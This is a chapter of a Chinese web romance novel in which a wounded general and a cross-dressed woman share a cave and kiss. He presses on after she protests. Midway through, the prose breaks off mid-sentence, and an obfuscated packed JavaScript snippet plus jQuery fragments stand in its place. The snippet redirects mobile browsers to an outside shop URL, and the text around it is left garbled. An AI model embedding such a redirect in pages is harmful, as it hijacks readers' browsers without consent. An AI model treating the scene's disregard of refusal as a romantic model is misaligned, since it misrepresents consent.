29. 不知节制
    沈时溪突然爬了上来,脸庞蹭着他的下巴,平日里她若即若离,到了关键时候一直避着他,到了这种时候,他倒不知道该怎么办了。

    “裴玄朗,哈哈哈哈……你一定会喜欢我这样的,对吧?你整天凶巴巴的,喜欢非礼人,糙话一茬又一茬,糟糕透了!”

    裴玄朗自己都没发现他会这样糟糕,他担心她真的不理自己了,他很多时候都控制不住自己的情绪。

    这时她又说:

    “不过你对我很好,你先救我,我救你也是应当的,你对别人都冷冷的,唯独对我,但是,这份好也不是属于我的……嘤嘤嘤!”

    她压着嗓音啜泣,头靠在他的肩颈,

    “怎么会有你这样坏的人,你方才还骂我,呜呜呜呜呜呜……我救了你,你还骂我!”

    她一边哭一边使劲儿掐他的腰,用的力气可不算小,刚才那么危急,他说的话确实难听。

    别人骂她,她可以当成若无其事,但是是他骂的,她心里难受得不行。

    裴玄朗先前想多了,他以为她是想与自己亲热没想到暗中报复自己,碍于情况他还不能反抗。

    “对不起,一时情急,我对不起,自清。”

    他心中有惊有怕,担心她就此改变心意了,看她身上准备那么齐全,逃跑的计划说不定很完善了,现在如果她要走,他是没有办法阻止的。

    她仰起头来,捏着他的下巴振振有词:

    “你,你那次抓我,你的铠甲弄得我多痛,你知道吗?”

    哭得越狠,用劲儿越大,裴玄朗这才想起来那次的事情,那次他太着急了,其实在那之前他是想好好与她谈谈有关他们的事情。

    没想到这人竟然逃了,私情可暂且不论,上了战场的士兵绝对不能逃,换作旁人他早就一刀砍了,回了军营才知她是受伤太重,不想拖累大军才走的。

    裴玄朗准备按照自己内心,去靠近她。

    他没想到她失忆了,以前做过的混账事都给忘了,不会没关系他可以为她演示一遍。

    裴玄朗这半年来,所有的情绪波动都是因为她。

    他翻了个身,轻易地将人压在身下。四瓣嘴唇擦边而过,沈时溪明显愣了一下,身体紧绷得快比身下的石板都硬了,四肢更像被人管钳似的。

    大手揽着细腰,下半身摩擦生热,她能够切实感受到他的……

    沈时溪回过神来,双手放在他胸膛上,扯着他的衣领。

    “混账东西都这个时候了,你还有心思想这些!”

    沈时溪心疼他身上的伤,师父没有跟来,也不知道现在如何了,有没有出事。

    谁料裴玄朗没有丝毫的收敛,那处都快磨出火花来了,他伸舌在她唇瓣上点了两下,眼神流转,硬朗的俊脸竟然滋生出一丝魅意。

    “裴玄朗,你,你是不是意识不清了?还是先睡吧!”

    她拍打他的脸颊,希望以此让他清醒一些,他们正在逃难呢。

    这男人太不知轻重了,伤成这样怎么能大动肝火呢?

    裴玄朗直接堵住了她的唇,大舌在口中搅弄不休,吸吮舌头,她似乎真的被他蛊到了。

    身体下半截跟麻绳一般,难以分离。

    “唔唔唔~别,别这样。”

    手掌还是抵着他的胸口,这样也无济于事,沈时溪手抱着他的后脑勺。

    “哈,你,你小心点啊,不要把,哈,把自己弄伤了。”

    “自清,我爱你。”

    “我明白!”

    舌在嘴角边缘试探,裴玄朗将人抱到自己身上,难得见她不逃避。

    香甜的气息流于唇鼻,他感受到娇软的身体抚慰自己的伤口,就算血流而亡他也不在意了。

    沈时溪觉察到以后忙推开他。

    “你,太不知道节制了,流血了!”

    “那你答应我,每日都要与我亲热,不许逃避我。”

    他紧紧箍住她的躯干,口咬住耳垂,然后睡着下颌,吻着脖颈。

    沈时溪说道:

    “每日?你,你把我当什么了?”

    现在是个绝佳坦白身份的时机,但是这人简直太过分,若他知道自己是女子,会否更加过分?

    裴玄朗说道:

    “你我两情相悦,就是做了什么也轮不到旁人指摘,我不知道你在怕什么?”

    她从石板上退下来,背对着他。

    “是两情相悦没错,但是,但是我自小受父母教诲,不能这样,裴玄朗,你究竟有没有想过,和我成亲?”

    他激动地起身。

    “我无时无刻不在想,只要你乐意,何时何地都行。”

    这话她信,但是这个人她信不了,在这件事上,她发现裴玄朗的欲念极重,一起来就控制不住了,这兴许是他唯一的缺点。

    沈时溪转身上去抱住他。

    “裴玄朗,你要振作,现在我们不安全,等叛军平定之日,我们再谈这件事你不是说回京以后就娶我吗?正好那时候我有惊喜给你。”

    她决定现在还是不坦白了,毕竟还是有风险,对他不利,来日重组军队,她和许多人都认识,只有回京以后她以未婚妻的身份重新站在他面前。

    沈时溪也相信终有一日他一定可以想起来的!

    裴玄朗被她这么叫唤还真是有点不习惯她的声音有点偏柔,出口他的心都要化了。

    他低头勾着她的唇痴缠,唇齿相依,沈时溪没想到这人又这般,她不安地按着他的肩膀。

    他只吻倒是没了其他的动作,就这样她的心还是上上下下地激荡。

    一个时辰后,他们的唇都肿了,沈时溪感觉唇舌发麻。

    “你太坏,我说那么多你都当耳旁风了。”

    “自清,我忍不住,无时无刻不想和你在一起,我恨不得,恨不得把你揣在身上。”

    他真是一刻也离不开她,裴玄朗也担心她继续逃跑,抱得更紧。

    沈时溪在他印堂留下一吻。

    “我爱你,很早就爱你,我这一辈子只爱你,裴玄朗你不要想太多好吗?”

    “你恢复记忆了吗?”

    他激动地说。

    沈时溪摇摇头,翻身上床脱了自己的衣服披在他身上。

    “我们一起睡吧!”

    *

    一夜到天明,她是第一个醒的,她用力推,怎么也推不开,一番推搡

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732630|143991||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    下,裴玄朗也醒了,他睁眼看见自己思念的面容,吻落了下来,沈时溪勾着石板,一缩,他就吻在了头顶。

    “沈自清!”

    “那个,你醒了,我,我还没有准备早饭呢,你饿了吧,我出去找。”

    她趁他震惊的同时急忙从石板上起身,跑了出去。

    跑出洞穴的沈时溪拍拍自己急剧跳动的胸口。

    “吓死了,吓死了,这男人好可怕,想占我便宜,想得美!差一点就被他得逞了。”

    要是把持不住的话就暴露身份了,骂归骂,她的肚子也叽里咕噜地响了起来。

    昨天弄的鳄鱼有些难处理,而且留在这里她担心被这个□□烧身的混账生吞活剥了。

    她随处找了一根结实的树杈子,准备去捕鱼,她直接进了小河里边。

    昨天才捕过鱼,裴玄朗亲手教她的,一定不会再失误了。

    她这次打起了十二分的精神,一定要抓到鱼。

    一插下去就是一只大鱼,这条够他们两个人用了。

    “真好啊,我就知道我最棒了,哈哈哈哈哈哈哈哈哈哈……”

    她徒手将鱼的内脏掏出来,取出刀子刮干净鱼鳞,她再走远一些抱了干柴进洞。

    这一切都十分娴熟了,沈时溪也没想到自己竟然做得这样熟练了。

    她自己烤着鱼,这时裴玄朗走了过来,肩膀靠着她。

    “自清,对不起,我昨日有点冲动,骂了你。”

    “你骂我也不是一次两次了,我习惯了。”

    她撇嘴道。

    “还有抓你那次,你一定听我解释,我不知道你走了,真将你当做逃兵了,鲁尔说你是中毒加上腿伤才走的……”

    “奸细的话你也相信?”

    她嘲讽道。

    裴玄朗单手揽着她。

    “我不是相信奸细,我是相信你,这世上我在乎的人和事很少,但你必不可缺。”

    “人、事?必不可缺,你是把我当什么必需品了?”

    她就是故意挑刺,先前他占优势,她这一口气一直憋在胸口里,这次总算是可以报仇了。

    裴玄朗说道:

    “冤枉啊!我没有这个意思,我是想说你,是我在这个世上最重要的人。”

    “解释就是掩饰,你说这么多也圆不回来,说人为什么要带事?说明你根本不把我当人,既然这样那你不必再说了,我不想听!”

    她用手肘顶了他一下,脸气鼓鼓的,裴玄朗不禁看呆了。

    他掰着她的脸面对自己,捏捏她的脸。

    “听不听?”

    接下来,他加大力气揉搓她的脸,裴玄朗摆着一张笑脸,唇也挨得很近。

    “去你的,再这样我就不管你了,哼!”

    她向左边挪挪位置,她挪一步,裴玄朗就挪一下。

    “都是我的错,不要生气了,以后你说什么我都听,都照做,你看怎么样?”

    他的右手不知不觉地就到了她的腰肢,裴玄朗只轻轻地一提,她整个人就到了他身上,坐在他腿上。

    他觊觎眼前两瓣唇很久了,就要得逞时,沈时溪将热气腾腾的烤鱼放到两人中间。